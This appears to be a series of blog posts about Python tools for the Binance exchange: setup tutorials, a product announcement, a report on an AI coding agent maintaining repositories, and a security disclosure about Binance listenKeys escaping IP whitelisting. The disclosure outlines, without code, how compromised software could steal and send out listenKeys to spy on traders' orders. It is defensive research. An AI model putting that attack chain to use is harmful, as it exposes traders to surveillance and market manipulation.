What I Am Doing Next

I am preserving the evidence and preparing a report through GitHub’s abuse reporting process.

GitHub documents active malware or exploit-related abuse handling here:

• GitHub Active Malware or Exploits Policy

Final Note

I am publishing this as a defensive security warning.

This post is not about drama, branding, or speculation for its own sake.

It is about documenting a fraudulent repository that borrows the identity of an established project while exposing users to behavior consistent with staged malware delivery.

Open source depends on trust.

If someone hijacks a trusted project name to stage a payload, that is not just abuse of one maintainer. It is abuse of the ecosystem.

I hope you found this informative and useful.

Follow me on Binance Square, GitHub, X, and LinkedIn, or join Telegram for updates on my latest publications. Constructive feedback is always appreciated.

Thank you for reading, and happy coding! ¯\_(ツ)_/¯

Automate your Binance trading strategy by creating OCO sell orders with Python in isolated margin accounts.

There is always the justified desire to buy an asset and at the same time to create a take profit and a stop loss order. In this way, if a profit is made, the asset is sold and any risks are minimized.

This strategy consists of two orders: a BUY and an OCO SELL order.

OCO stands for "One Cancells the Other" and creates both a sell order for Take Profit and one for Stop Loss:

In this tutorial we will create a Market Buy Order for Binance Isolated Margin in a Python Script and buy some BTC with 15 USDT. We will take the purchased amount of BTC and use it to create an OCO Sell Order that includes both Take Profit and Stop Loss (LIMIT).

In order for the code from this example to work for you, you need to transfer at least 15 USDT to your Isolated Margin account on Binance and you need an API key/secret pair from Binance.com.

Ok, here we go :)

First, make sure that the latest UNICORN Binance REST API version is installed:

$ python3 -m pip install unicorn-binance-rest-api --upgrade

Download this script and enter your API key/secret pair:

https://gist.github.com/oliver-zehentleitner/be1c4880b79db7596cf40b7d169b72f6

The comments in the script should help you understand the code.

Watch this video to see how I start the script and what happens on Binance:

https://youtu.be/iuwoweIFJL4

I hope you found this tutorial informative and enjoyable!

Follow me on Binance Square, GitHub, X and LinkedIn to stay updated on my latest releases. Your constructive feedback is always appreciated!

Thank you for reading, and happy coding!

Note (2026): CloudKarafka has discontinued their hosted Kafka service — a more up-to-date tutorial on Kafka alternatives is coming soon!

Using a message queuing cluster like Apache Kafka is an excellent solution for handling a large amount of real-time data from Binance in a redundant and scalable way. Apache Kafka is designed to handle high-volume real-time data streams, providing efficient and reliable message queuing and streaming capabilities. By setting up a Kafka cluster, you can ensure that your data is replicated across multiple nodes and partitions, allowing for failover and high availability.

Additionally, Kafka's distributed architecture allows for easy scaling as your data needs grow. This makes it an ideal solution for processing Binance's real-time data, which can be particularly high volume and time-sensitive.

With Apache Kafka and the Python libraries UNICORN Binance WebSocket API and aiokafka, you can build a robust and scalable real-time data processing system that can handle even the most demanding workloads.

Okay, what are you going to learn here?

First, we'll create a free trial system for you at CloudKarafka. This is a cool Kafka cloud service where you can get free access to a shared Kafka cluster consisting of three cluster nodes within minutes and without any significant configuration, and use and test both SSL and user authentication. In the free version, you can manage the Topics via a web interface and produce and consume them manually in the web interface as well as automatically via a websocket connection. The service is optionally hosted on AWS, Google or Azure and you can also choose the geo location.

If you like CloudKarafka's service, you can upgrade to a professional paid subscription that includes many more features such as logging, monitoring, and other security features like firewall, certificates, users, ACLs and more. Their support chat is very fast and helpful.

After that I will show you how you can receive data of any kind from Binance via websocket connection in real time with the UNICORN Binance WebSocket API and send it asynchronously to the Kafka cluster with the library aiokafka.

To make the tutorial complete, we will read (consume) the data from the Kafka cluster with a separate Python script. You can extend this script according to your needs and run it in separate distributed processes to share the load of data processing.

Reading instructions can also be funny and so I don't want to deprive you of these two illustrations that made me smile while researching on https://www.confluent.io/blog/apache-kafka-vs-enterprise-service-bus-esb-friends-enemies-or-frenemies:

Microservices WRONG

Microservices CORRECT

The blog article from Confluent is also worth reading apart from the two funny pictures (I hope you share my humor), but I guess if you read this, you already understood what it's about. So let's get started!

Table of Contents

1. Creating the Apache Kafka test environment

2. Receive data from Binance and throw it into the Kafka cluster

3. Read the data from the Kafka cluster

1. Creating the Apache Kafka test environment

The first step is to sign up for CloudKarafka for free: https://customer.cloudkarafka.com/login

Register with your email address, GitHub or Google account. After signing up, you will first be asked to create a team. Fill out the page and click on "Create team".

If that worked, you have the option to create a new instance.

Don't let the yellow warnings make you nervous, no personal data is required for the trial version.

Now you can choose who can host your project and where this should be done. Click on "Review" to continue.

If everything fits, confirm the configuration and create the instance.

Now your shared Apache Kafka instance is available. To manage it, please click on the instance name.

Note the values of these parameters from the "OVERVIEW": Hostname, Default user, Password and Port

The goal of this example is to read from the Binance "trades" webstream the price of each trade from specified markets in real time and pass it to Kafka. Assuming we receive the information of the trades for the markets "btcusdt", "ethusdt" and "ltcusdt", it would be practical to create the following topics for them: "btcusdt_binance_spot_last_trade_price", "ethusdt_binance_spot_last_trade_price", "ltcusdt_binance_spot_last_trade_price"

To get to the corresponding interface click on "KAFKA" in the left menu and then on "TOPICS".

Create the topic "btcusdt_binance_spot_last_trade_price".

Note: Please note that in the free trial version of CloudKarafka a prefix must be used! In this example the prefix is "pfyrfgiv-". Therefore the final name is "pfyrfgiv-btcusdt_binance_spot_last_trade_price". For a free test this is good enough!

Repeat the last step and create more topics for "ethusdt_binance_spot_last_trade_price" and "ltcusdt_binance_spot_last_trade_price".

This completes the setup of the Kafka cluster and we can start creating the Python script.

2. Receive data from Binance and throw it into the Kafka Cluster

For the Python script to work, we first install the dependencies:

$ python3 -m pip install aiokafka --upgrade
$ python3 -m pip install unicorn-binance-websocket-api --upgrade

Since as of today (29–03–2024) kafka-python has released many updates but no new version since 2020, I recommend installing kafka from GitHub:

$ python3 -m pip install git+https://github.com/dpkp/kafka-python.git

Copy or download the following Python script and paste your Kafka credentials:

https://gist.github.com/oliver-zehentleitner/92b632f582df22523b1d5593faa0a4f4

If you have followed the previous instructions 1 to 1, the script is now ready and can be started by you!

https://youtu.be/fnQXNU0kl5E

I hope everything works out for you so far, should anything go differently for you, feel free to write me in the comments. But in any case take a look at the created logfile, it should be named like the executed script with ".log" at the end.

3. Read the data from the Kafka cluster

The easiest way to check and admire your work is to open CloudKarafka browser and activate a "Consumer".

Activate the Consumer for the Topic "your_prefix-btcusdt_binance_spot_last_trade_price" — this Topic usually has the highest trade frequency.

When you put everything together so far, this is what it looks like:

https://youtu.be/9t2HXqyamtk

But now we want to fetch the data with a Python script so that you can process them as you like. This script Consumes the "your_prefix-btcusdt_binance_spot_last_trade_price" Topic, you only have to replace the login data and the topic prefix with yours.

https://gist.github.com/oliver-zehentleitner/3750a202a3e729ae8147aa08c7f46289

Copy the script twice and change the topic once to "your_prefix-ethusdt_binance_spot_last_trade_price" and once to "your_prefix-ltcusdt_binance_spot_last_trade_price".

Now you should have a complete system with one data collector and three data processors that allows you to receive data from Binance via websocket and process it via a Kafka cluster in separate distributed applications.

https://youtu.be/UHANyKa-G6Y

Of course, you could also redundantly receive and feed into Kafka and create multiple consumers for a Topic. I hope you have understood the basic concept and can now adapt it according to your ideas and requirements. 🚀

I hope you found this tutorial informative and enjoyable!

Follow me on Binance Square, GitHub, X and LinkedIn to stay updated on my latest releases. Your constructive feedback is always appreciated!

Thank you for reading, and happy coding!

In order to proceed, you'll need an API key/secret pair. I'll explain how to create this quickly and concisely in the following steps!

Create API key/secret pair for Binance.com

First, please log in to binance.com. If you don't have a Binance user account yet, you can sign up via my referral link. With this we both get 100 USDT cashback vouchers for a 50 USD deposit.

Okay, let's get started!

Step 1

Click on the account button:

Step 2

And then on "API Management":

Now you are on the page where you can create, edit and delete your API key/secret pairs and define their respective permissions and IP whitelisting.

Step 3

To create an API access, next click on the yellow "create API" button in the upper right corner:

Step 4

Now a modal window pops up and you can decide which API key type you want to create. The definitely easier and faster process is the "System generated" HMAC-SHA256 type — the advantage of the "Self-generated" RSA type (private/public key pair) is that technically not even Binance knows your key for signing and RSA key pairs can also be stored with higher security, as they can be stored in a LUKS container or HSM and the mandatory entry of a passphrase can be activated to make the keys usable.

At the moment RSA signatures are not yet supported by the UNICORN Binance Suite, as soon as this is the case we will adapt the instructions here.

So we continue with "System generated" and click "Next":

Step 5

Since you can create multiple API Keys with different permissions and IP whitelists, you need to enter a label in this step. This will help you to identify your API key/secret pairs. To continue click on "Next":

Step 6

For security purposes, Binance wants you to play the Binance Sliding game:

Step 7

First you need to request an email verification code:

Step 8

Check your email inbox (and spam folder if necessary), Binance will now immediately send you an email with a verification code:

Step 9

Copy the verification code from the email and paste it here:

Step 10

Open Google's Authenticator app on your smartphone and enter the code for your user account. To continue, click on "Submit":

Step 11

Immediately copy the API key/secret pair to a safe place, it will be shown to you only once! If you do not want to have read-only access to the API, you have not yet finished configuring the API key/secret pair.

All further permissions you have to enable explicitly and as soon as you grant further permissions, an IP whitelist is mandatory!

Step 12

Click on "Edit restrictions":

Step 13

Before you can enable the API Restrictions check boxes, you must select "Restrict access to trusted IPs only (Recommended)" under "IP access restrictions" and whitelist one or more IPs:

Step 14

Now you can grant the desired permissions:

Step 15

When you have set everything, click on "Save":

To save the new permissions and the IP whitelist you have to run the "Security Verification" from step 7 to step 10 again.

Now you can use your API key/secret pair!

I hope you found this tutorial informative and enjoyable!

Follow me on Binance Square, GitHub, X and LinkedIn to stay updated on my latest releases. Your constructive feedback is always appreciated!

Thank you for reading, and happy coding!

Image source: pixabay.com

Update (2026-04-20): This article was originally published on Medium on November 23, 2025, and has since been migrated to this blog. Since then, Binance has retired the old listenKey-based model for Spot User Data Streams from its Spot documentation and moved user data subscriptions to the WebSocket API. As a result, this post should be read as a case study of the earlier Spot architecture at the time of the original disclosure. In Derivatives/Futures, however, listenKey-based user data stream mechanisms are still present in the current documentation, so the transition does not appear to be fully uniform across all Binance product lines.

Update (2026-04-23): Since publishing this case study, I uncovered a separate GitHub malware campaign that used the UNICORN Binance WebSocket API ecosystem as bait.
While technically distinct from the listenKey issue discussed here, it makes one thing very concrete: once a host is compromised, assumptions about what IP whitelisting or related boundaries do and do not protect become far more consequential.
Follow-up research: From a coffee-in-bed Google search to a StealC-linked campaign — the story behind nailproxy.space

In 2024, I discovered an unexpected API behavior in Binance, the world's largest crypto exchange.

I reported the issue twice through their official bug bounty program on Bugcrowd (Submission ID 3897aec7–373d-46b2-b544–29bba9b04a0b from 09 Dec 2024 and b33df044–8db1–446f-9613–3d498067a995 from 18 Dec 2024) — both times the report was closed as:

• "Not security relevant"

• "Not applicable"

• Essentially framed as "social engineering"

This article contains zero exploit code, zero harmful details, zero endpoints, and is purely an architectural case study — safe, abstract and intended for DevSecOps engineers, API designers, and security researchers. Anyone with a Binance account who knows a little bit of programming or can ask an AI can verify what I am claiming for themselves!

https://youtu.be/y9dGtHLEBp8?si=nuKtzWajhIApdfEg

Watch this 5-min live demo first — then read the full technical breakdown below.

Why publish it?

Because local inconsistencies in trust boundaries matter. And because after ~11 months, the underlying behavior still exists. And because Bugcrowd, from my perspective, did not fulfill its role as a neutral and fair mediator in this case — which is the very purpose bug bounty platforms are supposed to serve for researchers.

• What Users Expect From IP Whitelisting

• The Real Model: API Keys vs. listenKeys

• Critical Detail: You Can Obtain the listenKey WITHOUT the Secret

• The Core Security Mismatch: Whitelisting Protects the API Key, Not the listenKey

• A supply chain attack needs zero user interaction

• Why This Isn't "Just Social Engineering"

• Real-World Impact (Without Sensationalism)

• Bugcrowd's Handling — A Systemic Problem

• What a Fair Process Would Have Looked Like

• Lessons for DevSecOps & API Designers

• Closing Thoughts

What Users Expect From IP Whitelisting

Binance allows API keys to be restricted to specific IP addresses.

This gives users a very strong expectation:

"Even if my API key leaks, nobody can use it unless they are on my whitelisted IPs."

That belief is the entire purpose of whitelisting.

It makes developers comfortable embedding an API key inside:

• Trading bots

• Cloud workloads

• Docker containers

• CI/CD tools

• Third-party libraries

• Older servers

• Desktop applications

Because the assumption is:

"My key is useless anywhere else."

This assumption is reasonable. But — it is wrong.

The Real Model: API Keys vs. listenKeys

Binance's API architecture includes:

Primary credentials

• apiKey

• secretKey (for HMAC signatures)

Secondary credential

• listenKey (used for user data streams)

This is not a payload vulnerability — it is an architectural trust-boundary flaw.

User data streams show high-value real-time trading telemetry, including:

• Open orders

• Order executions

• Stop losses

• Trailing stops

• Liquidation-relevant positions

• Balance changes

• Strategy characteristics

• Timing of order placement

This is not harmless information. It exposes the inner workings of a trading strategy.

Critical Detail: You Can Obtain the listenKey WITHOUT the Secret

This is the first architectural red flag.

Binance only requires the API key to issue a listenKey — the secret is not needed. This diverges from the usual "proof of possession" pattern in API design.

The Core Security Mismatch: Whitelisting Protects the API Key, Not the listenKey

This is the point that matters most.

IP whitelisting fully protects the primary apiKey.

But the listenKey is NOT IP-restricted. Not partially. Not conditionally. Not at all.

Therefore:

1. The API key is IP-bound.

2. The listenKey is NOT IP-bound.

3. The listenKey can be obtained using only the API key.

4. Developers believe they are protected by whitelisting — but they aren't.

This creates a false sense of security, and a broken mental model:

"My key is locked to my infrastructure."

…but a secondary stream that exposes my entire trading activity is not.

This is not a hack. This is not an exploit. This is a trust boundary inconsistency.

Why This Isn't "Just Social Engineering"

Binance and Bugcrowd classified this as:

• "Social engineering"

• "Not security relevant"

This framing is technically inaccurate.

Here's why:

A supply chain attack needs zero user interaction

Any compromised:

• Python library

• NPM module

• Docker image

• Browser extension

• Trading bot wrapper

• Cloud agent

…can silently:

1. Request a listenKey (no secret required)

2. Extract it from memory

3. Exfiltrate it

4. Access your user streams from any IP

No phishing. No manipulation. No fake login. No mistake by the user.

This is entirely machine-side, not human-side.

Social engineering requires human manipulation; this issue requires none.

Calling this "social engineering" is simply wrong.

A Sign of This False Sense of Security

This broken security assumption is also visible in the real world. Over the years, multiple users have publicly posted their listenKeys on GitHub — something nobody would ever do with an API key. Examples:

https://github.com/oliver-zehentleitner/unicorn-binance-websocket-api/issues/98#issuecomment-682278783

https://github.com/binance/binance-connector-python/issues/99

When users misunderstand what is protected, they behave accordingly — and that's how real-world incidents happen.

People do this because they believe the listenKey is protected by the same IP whitelisting rules as the API key. It isn't — and that misconception is exactly why this architectural flaw matters.

Real-World Impact (Without Sensationalism)

listenKeys do not grant trading or withdrawal privileges.

But they grant something extremely valuable:

Market-moving intelligence

• Open orders

• Stop-losses

• Take-profit triggers

• Liquidation thresholds

• Wallet exposure

• Detailed order execution flow

• Balance movements

• Position sizing

• Leverage usage

With enough listenKeys from many accounts, an attacker could:

1. Front-run traders

2. Hunt stops

3. Trigger liquidations

4. Detect whale movement patterns

5. Understand strategy timing

6. Analyze market sentiment by user position flow

This is the type of data for which hedge funds pay millions.

Yet with whitelisting enabled, users naturally believe this information is protected.

It isn't.

Bugcrowd's Handling — A Systemic Problem

I submitted the issue twice, both times with professional detail on:

• Architecture

• Threat model

• Python prototype

• Timelines

• Diagrams

• Real user stream examples (safe & anonymized)

• Demo video

The responses were:

• "Not applicable"

• "Not security relevant"

• "Social engineering"

No questions.No technical discussion.No escalation to senior security staff.No clarification.No interest.No attempt to understand the architecture.

This is not a Binance-only problem. This is a bug bounty ecosystem problem:

• Business logic vulnerabilities fall through the cracks.

• Architectural flaws don't fit classic CVSS scoring.

• Whitelisting is treated as a UX feature, not a security boundary.

• Vendor customers get overly defensive.

• Bugcrowd triage tends to favor the vendor.

This case is a textbook example.

But the triage process didn't reflect the actual technical depth of the issue.

A Note on Bugcrowd's Process Handling

When I submitted additional clarification through Bugcrowd's "Request for Response" mechanism, the reply I received did not address the technical points raised. Instead, it reiterated the original classification without engaging with the architectural arguments behind the issue. The response even included a reminder about potential penalties for requesting further clarification, despite the fact that no new technical review had taken place.

This experience reinforced a broader problem I've observed in the bug bounty ecosystem: Platform triage processes are often optimized for clear, conventional vulnerabilities, but they struggle with architectural or trust-boundary issues that don't fit neatly into predefined categories.

In this specific case, Bugcrowd did not provide the neutral and technically grounded mediation that researchers rely on — especially when a report involves design-level inconsistencies rather than classic "payload exploits." This is not about blame; it simply shows that current triage workflows are not well-equipped for complex, multi-layered security findings.

What a Fair Process Would Have Looked Like

For findings of this kind, a fair bug bounty process usually includes:

• A technical review

• Follow-up questions

• A classification discussion

• A clear explanation of the vendor's reasoning

• And at least a form of researcher recognition

These are standard expectations across reputable bounty programs — especially for architectural issues that require multi-day analysis, cross-checking, prototyping, and documentation.

My work included:

• Several days of API investigation

• Multiple reproductions

• Python demonstrations

• Clean and safe reporting

• Detailed architectural reasoning

• Real-world demonstration of the trust boundary mismatch

Across most platforms, this type of research is acknowledged regardless of payout decisions.

In my case, however, none of this happened:

• No technical discussion

• No meaningful review

• No recognition

• No acknowledgement of the work invested

This is why the case matters:

Not because of financial expectations — but because the process failed to deliver what bug bounty platforms are fundamentally meant to provide: fairness, neutrality, and respect for substantial research effort.

Lessons for DevSecOps & API Designers

1. Secondary tokens must inherit all constraints of the primary.

No exceptions.

2. Proof of possession matters.

Never issue a token without confirming ownership of its parent credential.

3. IP whitelisting must be consistent.

If one flow bypasses it, the guarantee breaks.

4. Users' mental models matter as much as code.

When expectations don't match reality, security collapses.

5. Bug bounties must evolve beyond "classic bugs."

Architecture is security. Design is security. Assumptions are security.

Closing Thoughts

The Binance listenKey issue isn't a catastrophic vulnerability. It won't drain wallets, freeze accounts, or cause instant chaos.

But it is a powerful example of:

• Inconsistent trust boundaries

• Misleading security assumptions

• Risk of supply-chain leakage

• Architectural flaws not fitting bounty templates

And it shows how easily deep research can be miscategorized and dismissed.

My goal in publishing this is simple:

To spark a conversation on how we evaluate architectural security issues — especially in systems trusted with billions of dollars.

If you work in DevSecOps, crypto infrastructure, or API security, I would genuinely value your perspective.

I hope you found this informative and useful.

Follow me on Binance Square, GitHub, X, and LinkedIn, or join Telegram for updates on my latest publications. Constructive feedback is always appreciated.

Thank you for reading, and happy coding! ¯\_(ツ)_/¯

One process opens a WebSocket, pulls a depth snapshot, keeps a local order book in memory, and runs a strategy loop on top. For one bot, on one machine, this is fine. Sometimes it is even elegant.

Then the setup grows.

A second bot appears. A dashboard wants the same data. A sidecar service needs top-of-book prices. A teammate working in JavaScript wants access too. Reconnects pile up. Snapshot requests start burning rate limit budget. And if the one process holding a market dies, your market view dies with it.

Suddenly the order book living inside one bot process is no longer a neat design choice. It is now the bottleneck.

That is the problem this post is about.

And that is why I built UBDCC — the UNICORN Binance DepthCache Cluster.

The core problem

A local depth cache inside one process is easy to start with, but hard to share, hard to scale, and fragile.

That creates four common failure modes.

1. One bot becomes two

The first strategy works, so you launch a second one.

Now both bots maintain their own WebSocket connections, their own snapshots, and their own copies of the same order books in separate memory spaces. You doubled the moving parts without gaining new market data. After a reconnect or short network disturbance, those two processes can temporarily hold slightly different views of the same market.

That is not great when both are making decisions off the same symbol.

2. Other services need the same data

Serious setups rarely stop at one bot.

Soon there is:

• a dashboard

• an alerting service

• a sanity-check script

• a backtester consuming live spreads

• some quick internal tool that “just needs the top 5 asks”

If the depth cache only exists inside a Python process, every new consumer either needs its own cache or some custom integration. Both options are ugly.

And if one of those consumers is written in Node.js, Go, Rust, or Bash, it gets uglier fast.

3. Rate limits become infrastructure limits

Every initial depth snapshot costs request weight.

If every process builds its own local cache, every process burns its own weight budget. Reconnect storms multiply the cost. Large market sets become slow to initialize. On one IP, the wall arrives quickly.

For strategies like triangular arbitrage, where a bot may depend on dozens or even hundreds of depth caches, restarting the strategy during development because of one changed line of code can mean waiting all over again for the entire in-process market view to rebuild and re-sync.

That is a lot of wasted time for something that has nothing to do with strategy logic.

4. One cache becomes a single point of failure

A local depth cache inside one bot process is not just hard to share. It is also fragile.

If that process dies, your market view for that symbol dies with it. The usual workaround is not real high availability — it is just duplication by coincidence, with different processes maintaining different copies of the same book.

In a serious setup, market data should not depend on one process staying alive. It should be a shared service with explicit redundancy and failover.

So the real problem is not “how do I keep one order book in sync?”

The real problem is:

How do I turn order book data into shared infrastructure instead of per-process state?

The architectural answer

The clean answer is simple:

one shared depth-cache layer, many consumers

Instead of every bot owning its own WebSocket connection and local order book, you run one service that manages order books centrally and exposes them over HTTP.

That is what UBDCC does.

UBDCC turns Binance order books from per-process state into shared infrastructure.

Anything that can speak HTTP can consume the data:

• Python

• Node.js

• Go

• shell scripts with curl

• dashboards

• monitoring

• internal tools

That is the key shift.

Not “another library”. Not “another bot framework”.

A shared order book layer.

What UBDCC is

UBDCC is an MIT-licensed cluster service for shared Binance depth caches.

It manages:

• WebSocket connections

• depth snapshot initialization

• synchronized local order books

• distribution of caches across worker processes

• access through a REST API

So instead of this:

• bot A keeps BTCUSDT in memory

• bot B keeps BTCUSDT in memory

• dashboard keeps BTCUSDT in memory

…you get this:

• UBDCC keeps BTCUSDT in memory

• bot A queries it

• bot B queries it

• dashboard queries it

One source of truth. Multiple consumers.

The cluster model

UBDCC consists of three roles:

• mgmt — coordinates cluster state and assigns work

• restapi — the public HTTP interface clients talk to

• dcn (DepthCache Node) — worker processes that run the actual depth caches via UBLDC

Each DCN is one Python process, which maps nicely to one CPU core. On a single 8-core machine, you can run one management instance, one REST API, and multiple DCNs handling hundreds of depth caches.

On Kubernetes, the same pattern scales horizontally.

The important point is not the exact layout.

The important point is that your strategies no longer own the order books.

What this solves in practice

Shared data across multiple bots

Two or ten strategies can consume the same books without duplicating Binance connections or cache state.

You pay one network hop to the REST API and remove a lot of duplicated infrastructure.

Built-in redundancy and failover

A DepthCache does not have to exist only once.

With desired_quantity=2, UBDCC keeps two replicas of the same market on different DCN nodes. If one node dies, the REST API can route the request to the surviving replica. That gives you real high availability for market data instead of hoping that one local in-process cache stays alive.

This is one of the biggest differences compared to the usual “every bot keeps its own order book” setup. In the usual model, redundancy is accidental and inconsistent. In UBDCC, redundancy is explicit and controlled.

Language-agnostic access

A frontend or support tool does not need to understand Binance stream semantics, sequence handling, reconnect logic, or Python internals.

It makes an HTTP request and gets JSON back.

That is a huge simplification.

Better scaling under rate limits

UBDCC can distribute workload across multiple machines and therefore across multiple public IPs.

That spreads snapshot initialization and reconnect load. Since version 0.4.0, it can also assign optional Binance API credentials across nodes to benefit from higher authenticated rate limits where applicable.

No credentials are required for public endpoints. The authenticated path is optional.

What it looks like to use

Install:

pip install ubdcc

Start a local cluster with four DepthCache nodes:

ubdcc start --dcn 4

Create some shared depth caches:

curl -X POST 'http://127.0.0.1:42081/create_depthcaches' \
  -H 'Content-Type: application/json' \
  -d '{"exchange": "binance.com", "markets": ["BTCUSDT", "ETHUSDT"], "desired_quantity": 2}'

Query the top 5 asks:

curl 'http://127.0.0.1:42081/get_asks?exchange=binance.com&market=BTCUSDT&limit_count=5'

That is the whole idea: create once, consume anywhere.

For a full practical walkthrough with the dashboard, replicas, failover test, REST calls, and generated client snippets, see: From pip install to a Redundant Binance Order Book Cluster — UBDCC + Dashboard Quickstart

Python users are not locked out

If you already use UBLDC for local order books, the cluster interface is built in.

You can point BinanceLocalDepthCacheManager at UBDCC and keep using familiar sync or async methods:

from unicorn_binance_local_depth_cache import BinanceLocalDepthCacheManager, DepthCacheClusterNotReachableError
import asyncio

async def main():
    await ubldc.cluster.create_depthcaches_async(
        exchange="binance.com",
        markets=["BTCUSDT", "ETHUSDT"],
        desired_quantity=2,
    )
    while not ubldc.is_stop_request():
        print(await ubldc.cluster.get_asks_async(
            exchange="binance.com",
            market="BTCUSDT",
            limit_count=5
        ))

try:
    with BinanceLocalDepthCacheManager(
        exchange="binance.com",
        ubdcc_address="127.0.0.1",
        ubdcc_port=42081
    ) as ubldc:
        asyncio.run(main())
except DepthCacheClusterNotReachableError as exc:
    print(f"ERROR: {exc}")

So UBDCC is not an alternative to Python-native workflows.

It is the shared infrastructure layer underneath them.

Why I trust it

There are four parts that matter to me.

It does not silently serve stale books

UBDCC is built on UBLDC, which validates Binance sequence numbers, re-syncs on gaps, and handles orphaned levels correctly instead of leaving ghost entries in the book.

A shared DepthCache is only useful if consumers also know its state. UBDCC does not just hold the cache — it knows whether that cache is actually in sync, re-synchronizing, or temporarily not safe to use. That is exactly the information a serious strategy needs before trusting market data.

If a book is re-syncing, that state is explicit.

That matters more than most people think.

I wrote a separate deep dive on the orphaned-level problem here: Your Binance Order Book Is Wrong — Here's Why

That post explains why a Binance-compatible local order book can look correct while silently accumulating stale price levels over time.

Failover is transparent

Depth caches can run redundantly across nodes. In practice that means you can keep the same cache twice and survive the loss of one DCN without losing the market view for that symbol.

If one node fails, requests are routed to another replica. But the failover is not hidden. Responses can report that a failover happened and which pod failed before the request succeeded.

That is how infrastructure should behave: resilient, but observable.

The cluster manages its own state

Cluster state is replicated internally across nodes.

If the management process dies, it can recover from the most recent surviving state. No external Redis or etcd dependency is required just to keep the cluster alive.

It is fast enough to be infrastructure

The stack is async end-to-end, and the core packages are Cython-compiled. In practice, this means low latency and enough throughput to make “shared order book as a service” actually usable instead of theoretically neat.

What UBDCC is not

It is not:

• a strategy engine

• a backtesting platform

• an execution engine

• a “make money with crypto” framework

It serves live order book data.

That is its job.

Who should look at it

A solo developer running multiple bots

You want one shared market-data layer instead of duplicate depth caches all over the machine.

A team with several services consuming the same books

You want bots, dashboards, alerts, and internal tools reading from one consistent source.

A larger setup running into rate-limit and scaling pain

You want to spread load across nodes, IPs, and optional authenticated request budgets.

If none of this sounds familiar, you probably do not need UBDCC yet.

But when the question becomes:

“Can my second bot read the same order book without rebuilding everything?”

Then you are already in UBDCC territory.

Why I think this matters

There are many examples online showing how to build a Binance bot.

There is far less material about what happens when one bot becomes several consumers, several services, several machines, and real infrastructure concerns.

That gap is exactly why I built this.

Not because the architecture is magical.

Because at some point it becomes the obvious architecture — and building it yourself is annoying, time-consuming, and easy to get wrong.

Try it

If your order books are trapped inside individual bot processes, UBDCC is the escape hatch.

• GitHub repository

• Documentation and API reference

• Telegram community

UBDCC is MIT-licensed and part of the UNICORN Binance Suite.

I hope you found this informative and useful.

Follow me on Binance Square, GitHub, X, and LinkedIn, or join Telegram for updates on my latest publications. Constructive feedback is always appreciated.

Thank you for reading, and happy coding! ¯\_(ツ)_/¯

WebSocket streams, REST APIs, local order books, trailing stops, Kubernetes depth cache clusters — the kind of infrastructure that normally has a team behind it.

It doesn’t. It has me.

Last week I gave Claude Code commit access via a dedicated GitHub account
(@oliver-zehentleitner-aigent) and pointed it at the backlog.

One week later:

Work that would have taken me weeks to months was done.

Notably:

• 500+ files changed

• 100+ PRs created

• 7 repositories fully synchronized and updated

• entire UBS stack released and brought up to current state

• all known bug reports closed

• ~€100 cost

This is not hype. This is a field report.

The Backlog

Years of solo-maintainer entropy:

• LUCIT branding everywhere (7 repos, hundreds of files)

• Custom LSOSL license blocking contributors

• Python 3.7 baseline (in 2026)

• A core repo with no release for 4 years

• CI pipelines that barely validated anything

• Dead services, dead links, dead integrations

Individually trivial. Collectively unmaintainable.

That’s the key failure mode: not complexity, but accumulation.

The Setup (Guardrails First)

Before letting an agent touch production code, I built constraints.

Dedicated Git Identity

Everything runs through a separate account:
@oliver-zehentleitner-aigent

Full transparency:

• every commit is traceable

• no hidden automation

• no impersonation

CLAUDE.md — Project Constitution

Each repo defines strict rules:

• communication style (German chat, English code)

• forbidden actions (e.g. versioning scripts, direct commits to merged PRs)

• architectural context

It helps. It does not guarantee compliance. Drift still happens.

AGENTS.md + TASKS.md

• AGENTS.md: architecture + conventions

• TASKS.md: living backlog per repo

• UBS-TASKS.md: cross-repo coordination

Fork + PR Workflow

No direct pushes.

Everything: fork → branch → PR → review → merge

This is non-negotiable for production-grade OSS.

What the Agent Actually Did

We executed bottom-up through the dependency stack:

UnicornFy → UBRA → UBWA → UBLDC → UBDCC → UBTSL → UBS

Day 1–2: Foundation Repos

• Replace all LUCIT branding

• Switch LSOSL → MIT

• Raise Python baseline to 3.9–3.14

• Expand CI across versions

• Fix documentation and metadata consistency

Day 3: UBTSL (the worst one)

No release in 4 years. Broken startup due to licensing dependency.

The agent:

• removed entire licensing system

• fixed CI (geo-blocked endpoints, artifact merging bug)

• repaired PyPI wheel publishing

• resolved 3-year-old PR conflicts

Day 4–5: Suite-wide Cleanup

• removed dead Gitter integrations

• fixed issue templates across repos

• normalized exchange lists

• removed deprecated endpoints

Day 5: README Rewrite

• install-first onboarding

• metrics-driven introduction

• architecture diagram

• comparison table

• copy-paste examples

Day 6: AI-Native Documentation

Introduced llms.txt across all repos.

Meta-layer shift: AI writing docs for other AIs.

Day 7: Releases, Stabilization & Full Stack Sync

This is where things became more interesting than planned.

During execution the agent identified two independent race conditions in core streaming and order-handling paths. These were subtle timing issues that had not surfaced in production yet, but were structurally real and reproducible under load.

After fixing them, we did not just ship isolated patches — we executed a full stack alignment:

• UBTSL 1.3.0 released (first release in 4 years)

• UBS 2.1.0 released

• all dependent repositories updated and republished

• full UBS ecosystem brought to a consistent, current version state

• all known bug reports across the stack closed

Net effect: the entire suite is now not just “maintained”, but structurally consistent again.

Cost Model

• Claude Pro Max: ~€100/month

• Time: ~1 week active steering

The real cost is not money. It is decision bandwidth.

The Workflow That Worked

1. Analyze state together

2. Agree on direction

3. Define scope

4. Execute

5. Review and correct

What Worked

• Cross-repo pattern replication

• CI + packaging bug discovery

• Merge conflict resolution

• Parallel PR execution

• Documentation iteration speed

• Structural bug detection in production-adjacent code paths

What Didn’t

• Context limits

• Premature execution

• Tone issues in marketing copy

• Occasional hallucinated assumptions

• Git sync conflicts

Operating Model

The agent behaves like a very fast staff engineer:

• never bored

• never inconsistent

• never skipping files

• still needs direction

The Real Shift

Most OSS maintenance is not engineering.

It is:

• version updates

• CI fixes

• link rot

• dependency drift

• template maintenance

AI agents are extremely good at this.

Outcome

The suite is now:

• consistently MIT licensed

• Python 3.9–3.14

• CI-clean across repos

• structurally unified

• fully up to date across the entire stack

• all known bug reports resolved

• properly documented

• partially AI-native (llms.txt)

• significantly more stable under real-world load

What’s Next

• UBRA v3 architecture rewrite

• deeper feature-level agent collaboration

• defining the boundary of autonomy

This article was drafted with assistance from an AI agent, iterated through review loops, and finalized by me.

UNICORN Binance Suite — production-grade Python infrastructure for Binance trading systems.

I hope you found this informative and useful.

Follow me on Binance Square, GitHub, X, and LinkedIn, or join Telegram for updates on my latest publications. Constructive feedback is always appreciated.

